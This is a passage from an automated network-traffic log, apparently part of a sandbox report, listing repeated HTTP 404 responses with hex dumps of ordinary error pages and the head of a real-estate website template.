73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:23:22 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:23:25 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/htmlData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62 72 61 72 69 65
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Tue, 05 Nov 2024 14:23:28 GMTServer: ApacheContent-Length: 13928Connection: closeContent-Type: text/html; charset=utf-8Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0d 0a 0d 0a 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 20 20 20 20 3c 74 69 74 6c 65 3e 4d 61 6b 61 61 6e 20 2d 20 52 65 61 6c 20 45 73 74 61 74 65 20 48 54 4d 4c 20 54 65 6d 70 6c 61 74 65 3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 22 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 46 61 76 69 63 6f 6e 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 69 6d 67 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 20 72 65 6c 3d 22 69 63 6f 6e 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 57 65 62 20 46 6f 6e 74 73 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 73 74 61 74 69 63 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 32 3f 66 61 6d 69 6c 79 3d 48 65 65 62 6f 3a 77 67 68 74 40 34 30 30 3b 35 30 30 3b 36 30 30 26 66 61 6d 69 6c 79 3d 49 6e 74 65 72 3a 77 67 68 74 40 37 30 30 3b 38 30 30 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 49 63 6f 6e 20 46 6f 6e 74 20 53 74 79 6c 65 73 68 65 65 74 20 2d 2d 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 2f 61 6a 61 78 2f 6c 69 62 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2f 35 2e 31 30 2e 30 2f 63 73 73 2f 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 2e 6a 73 64 65 6c 69 76 72 2e 6e 65 74 2f 6e 70 6d 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 40 31 2e 34 2e 31 2f 66 6f 6e 74 2f 62 6f 6f 74 73 74 72 61 70 2d 69 63 6f 6e 73 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0d 0a 0d 0a 20 20 20 20 3c 21 2d 2d 20 4c 69 62
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-encoding: gzipcontent-type: text/htmldate: Tue, 05 Nov 2024 14:23:48 GMTetag: W/"67231618-2b5"server: nginxvary: Accept-Encodingcontent-length: 454connection: closeData Raw: 1f 8b 08 00 00 00 00 00 04 03 75 92 bd 6e 14 31 10 c7 fb 7b 0a e3 2a 91 b2 e7 43 29 63 6f 03 d4 49 71 0d d5 c9 f1 4e 6e 1d bc de c5 9e bb 70 42 3c cc 29 bb 4f 40 91 e3 43 91 20 a2 40 48 50 82 28 a0 42 3c 00 05 2d f6 7a 57 80 10 6e ec d9 f9 cf 6f be 96 df ba 7b 7c 67 7e ff e4 1e 29 b1 32 f9 84 c7 8b 18 69 97 82 9e 4b 1a 3f 80 2c f2 09 21 1c 35 1a c8 db a7 ed fb ee f3 f6 65 b7 6b 3f bc de 3d ff da 5e b5 5f da 17 ed 0f ce 92 3f 2a 2b 40 19 78 d8 64 f0 70 a5 d7 82 aa da 22 58 cc 70 d3 00 25 83 25 28 c2 23 64 31 e1 11 51 a5 74 1e 50 c0 4a 65 e7 0d 25 ac 4f d9 83 ac ac 40 d0 b5 86 8b a6 76 f8 47 f8 85 2e b0 14 05 ac b5 82 ac 37 0e 88 b6 1a b5 34 99 57 d2 80 b8 3d 9d 85 16 42 45 46 db 07 c4 81 11 d4 e3 c6 80 2f 01 02 a9 74 70 26 28 53 de 33 70 ae 76 d3 f0 8a 2d b3 d4 33 3f ad 8b 4d 30 0b bd 26 ca 48 ef 05 0d 1d 45 61 82 ea 6a 49 bc 53 81 10 5e 89 30 70 1a bb a4 44 1a 14 34 94 fb 57 e4 62 a1 2b b9 84 04 f8 17 bc 58 54 e0 fd 28 08 85 37 b1 fc 78 fe 37 f7 ed 25 3f 75 a3 e8 70 f6 f6 66 f7 ad 7d d7 5d 75 df bb 9b ee e3 b0 a8 4f 6f ae 5f fd ec 17 f5 6c 7b d9 f3 38 1b c0 bf 13 f0 b0 b2 34 0f 9a cf 8f 4f 52 28 67 32 b1 87 00 ce 42 cd 71 42 e9 f2 ca e9 06 a3 22 ec 6e ae 2b a8 57 b8 47 1d 14 da 81 c2 bd 7d 7a 40 0e 67 e1 ec 1f 05 c9 d9 ca 2a d4 b5 0d 7b 18 fd 8f fb 62 4c ad 64 74 4c c7 fc 51 fd 24 24 19 f1 9c 0d 9b e8 7f 96 7c f2 0b 8a 6b eb d4 b5 02 00 00 Data Ascii: un1{C)coIqNnpB<)O@C @HP(B<-zWno{\|g~)2iK?,!5ek?=^_?+@xdp"Xp%%(#d1QtPJe%O@vG.74W=BEF/tp&(S3pv-3?M0&HEajIS^0pD4Wb+XT(7x7%?upf}]uOo_l{84OR(g2BqB"n+WG}z@g*{bLdtLQ$$\|k
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-encoding: gzipcontent-type: text/htmldate: Tue, 05 Nov 2024 14:23:50 GMTetag: W/"67231618-2b5"server: nginxvary: Accept-Encodingcontent-length: 454connection: closeData Raw: 1f 8b 08 00 00 00 00 00 04 03 75 92 bd 6e 14 31 10 c7 fb 7b 0a e3 2a 91 b2 e7 43 29 63 6f 03 d4 49 71 0d d5 c9 f1 4e 6e 1d bc de c5 9e bb 70 42 3c cc 29 bb 4f 40 91 e3 43 91 20 a2 40 48 50 82 28 a0 42 3c 00 05 2d f6 7a 57 80 10 6e ec d9 f9 cf 6f be 96 df ba 7b 7c 67 7e ff e4 1e 29 b1 32 f9 84 c7 8b 18 69 97 82 9e 4b 1a 3f 80 2c f2 09 21 1c 35 1a c8 db a7 ed fb ee f3 f6 65 b7 6b 3f bc de 3d ff da 5e b5 5f da 17 ed 0f ce 92 3f 2a 2b 40 19 78 d8 64 f0 70 a5 d7 82 aa da 22 58 cc 70 d3 00 25 83 25 28 c2 23 64 31 e1 11 51 a5 74 1e 50 c0 4a 65 e7 0d 25 ac 4f d9 83 ac ac 40 d0 b5 86 8b a6 76 f8 47 f8 85 2e b0 14 05 ac b5 82 ac 37 0e 88 b6 1a b5 34 99 57 d2 80 b8 3d 9d 85 16 42 45 46 db 07 c4 81 11 d4 e3 c6 80 2f 01 02 a9 74 70 26 28 53 de 33 70 ae 76 d3 f0 8a 2d b3 d4 33 3f ad 8b 4d 30 0b bd 26 ca 48 ef 05 0d 1d 45 61 82 ea 6a 49 bc 53 81 10 5e 89 30 70 1a bb a4 44 1a 14 34 94 fb 57 e4 62 a1 2b b9 84 04 f8 17 bc 58 54 e0 fd 28 08 85 37 b1 fc 78 fe 37 f7 ed 25 3f 75 a3 e8 70 f6 f6 66 f7 ad 7d d7 5d 75 df bb 9b ee e3 b0 a8 4f 6f ae 5f fd ec 17 f5 6c 7b d9 f3 38 1b c0 bf 13 f0 b0 b2 34 0f 9a cf 8f 4f 52 28 67 32 b1 87 00 ce 42 cd 71 42 e9 f2 ca e9 06 a3 22 ec 6e ae 2b a8 57 b8 47 1d 14 da 81 c2 bd 7d 7a 40 0e 67 e1 ec 1f 05 c9 d9 ca 2a d4 b5 0d 7b 18 fd 8f fb 62 4c ad 64 74 4c c7 fc 51 fd 24 24 19 f1 9c 0d 9b e8 7f 96 7c f2 0b 8a 6b eb d4 b5 02 00 00 Data Ascii: un1{C)coIqNnpB<)O@C @HP(B<-zWno{\|g~)2iK?,!5ek?=^_?+@xdp"Xp%%(#d1QtPJe%O@vG.74W=BEF/tp&(S3pv-3?M0&HEajIS^0pD4Wb+XT(7x7%?upf}]uOo_l{84OR(g2BqB"n+WG}z@g*{bLdtLQ$$\|k
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-encoding: gzipcontent-type: text/htmldate: Tue, 05 Nov 2024 14:23:53 GMTetag: W/"67231618-2b5"server: nginxvary: Accept-Encodingcontent-length: 454connection: closeData Raw: 1f 8b 08 00 00 00 00 00 04 03 75 92 bd 6e 14 31 10 c7 fb 7b 0a e3 2a 91 b2 e7 43 29 63 6f 03 d4 49 71 0d d5 c9 f1 4e 6e 1d bc de c5 9e bb 70 42 3c cc 29 bb 4f 40 91 e3 43 91 20 a2 40 48 50 82 28 a0 42 3c 00 05 2d f6 7a 57 80 10 6e ec d9 f9 cf 6f be 96 df ba 7b 7c 67 7e ff e4 1e 29 b1 32 f9 84 c7 8b 18 69 97 82 9e 4b 1a 3f 80 2c f2 09 21 1c 35 1a c8 db a7 ed fb ee f3 f6 65 b7 6b 3f bc de 3d ff da 5e b5 5f da 17 ed 0f ce 92 3f 2a 2b 40 19 78 d8 64 f0 70 a5 d7 82 aa da 22 58 cc 70 d3 00 25 83 25 28 c2 23 64 31 e1 11 51 a5 74 1e 50 c0 4a 65 e7 0d 25 ac 4f d9 83 ac ac 40 d0 b5 86 8b a6 76 f8 47 f8 85 2e b0 14 05 ac b5 82 ac 37 0e 88 b6 1a b5 34 99 57 d2 80 b8 3d 9d 85 16 42 45 46 db 07 c4 81 11 d4 e3 c6 80 2f 01 02 a9 74 70 26 28 53 de 33 70 ae 76 d3 f0 8a 2d b3 d4 33 3f ad 8b 4d 30 0b bd 26 ca 48 ef 05 0d 1d 45 61 82 ea 6a 49 bc 53 81 10 5e 89 30 70 1a bb a4 44 1a 14 34 94 fb 57 e4 62 a1 2b b9 84 04 f8 17 bc 58 54 e0 fd 28 08 85 37 b1 fc 78 fe 37 f7 ed 25 3f 75 a3 e8 70 f6 f6 66 f7 ad 7d d7 5d 75 df bb 9b ee e3 b0 a8 4f 6f ae 5f fd ec 17 f5 6c 7b d9 f3 38 1b c0 bf 13 f0 b0 b2 34 0f 9a cf 8f 4f 52 28 67 32 b1 87 00 ce 42 cd 71 42 e9 f2 ca e9 06 a3 22 ec 6e ae 2b a8 57 b8 47 1d 14 da 81 c2 bd 7d 7a 40 0e 67 e1 ec 1f 05 c9 d9 ca 2a d4 b5 0d 7b 18 fd 8f fb 62 4c ad 64 74 4c c7 fc 51 fd 24 24 19 f1 9c 0d 9b e8 7f 96 7c f2 0b 8a 6b eb d4 b5 02 00 00 Data Ascii: un1{C)coIqNnpB<)O@C @HP(B<-zWno{\|g~)2iK?,!5ek?=^_?+@xdp"Xp%%(#d1QtPJe%O@vG.74W=BEF/tp&(S3pv-3?M0&HEajIS^0pD4Wb+XT(7x7%?upf}]uOo_l{84OR(g2BqB"n+WG}z@g*{bLdtLQ$$\|k
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not Foundcontent-type: text/htmldate: Tue, 05 Nov 2024 14:23:55 GMTetag: W/"67231618-2b5"server: nginxvary: Accept-Encodingcontent-length: 693connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 6a 61 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e a4 b3 a4 ce a5 da a1 bc a5 b8 a4 cf c2 b8 ba df a4 b7 a4 de a4 bb a4 f3 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 65 75 63 2d 6a 70 22 20 2f 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 2f 63 73 73 2f 65 72 72 6f 72 2e 63 73 73 22 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 2d 65 72 72 6f 72 22 3e 0a 20 20 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 67 2f 65 72 72 6f 72 2f 65 72 72 6f 72 2e 70 6e 67 22 20 61 6c 74 3d 22 22 20 63 6c 61 73 73 3d 22 70 2d 65 72 72 6f 72 5f 5f 69 6d 61 67 65 22 3e 0a 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 2d 65 72 72 6f 72 5f 5f 6d 65 73 73 61 67 65 22 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 a4 b3 a4 ce a5 da a1 bc a5 b8 a4 cf c2 b8 ba df a4 b7 a4 de a4 bb a4 f3 a1 a3 3c 62 72 3e 0a 20 20 20 20 20 20 33 30 c9 c3 b8 e5 a4 cb a5 b7 a5 e7 a5 c3 a5 d7 a5 da a1 bc a5 b8 a4 d8 c5 be c1 f7 a4 b7 a4 de a4 b9 a1 a3 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 20 20 3c 70 3e 0a 20 20 20 20 20 20 3c 61 20 68 72 65 66 3d 22 2f 22 3e 54 4f 50 a5 da a1 bc a5 b8 3c 2f 61 3e 0a 20 20 20 20 3c 2f 70 3e 0a 20 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 73 63 72 69 70 74 3e 0a 20 20 73 65 74 54 69 6d 65 6f 75 74 28 22 72 65 64 69 72 65 63 74 28 29 22 2c 20 33 30 30 30 30 29 3b 0a 20 20 66 75 6e 63 74 69 6f 6e 20 72 65 64 69 72 65 63 74 28 29 7b 0a 20 20 20 20 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 3d 22 2f 22 3b 0a 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="ja"><head> <title></title> <meta http-equiv="content-type" content="text/html; charset=euc-jp" /> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="stylesheet" href="/css/error.css"></head><body><div class="p-error"> <img src="/img/error/error.png" alt="" class="p-error__image"> <div class="p-error__message"> <p> <br> 30 </p> <p> <a href="/">TOP</a> </p> </div></div><script> setTimeout("redirect()", 30000); function redirect(){ location.href="/"; }</script></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Tue, 05 Nov 2024 14:24:15 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-EncodingContent-Encoding: gzipData Raw: 36 61 0d 0a 1f 8b 08 00 00 00 00 00 00 03 b3 c9 28 c9 cd b1 e3 e5 b2 c9 48 4d 4c b1 b3 29 c9 2c c9 49 b5 33 31 30 51 f0 cb 2f 51 70 cb 2f cd 4b b1 d1 87 08 da e8 83 95 00 95 26 e5 a7 54 82 e8 e4 d4 bc 92 d4 22 3b 9b 0c 43 74 1d 40 11 1b 7d a8 34 c8 6c a0 22 28 2f 2f 3d 33 af 02 59 4e 1f 66 9a 3e d4 25 00 0b d9 61 33 92 00 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: 6a(HML),I310Q/Qp/K&T";Ct@}4l"(//=3YNf>%a30
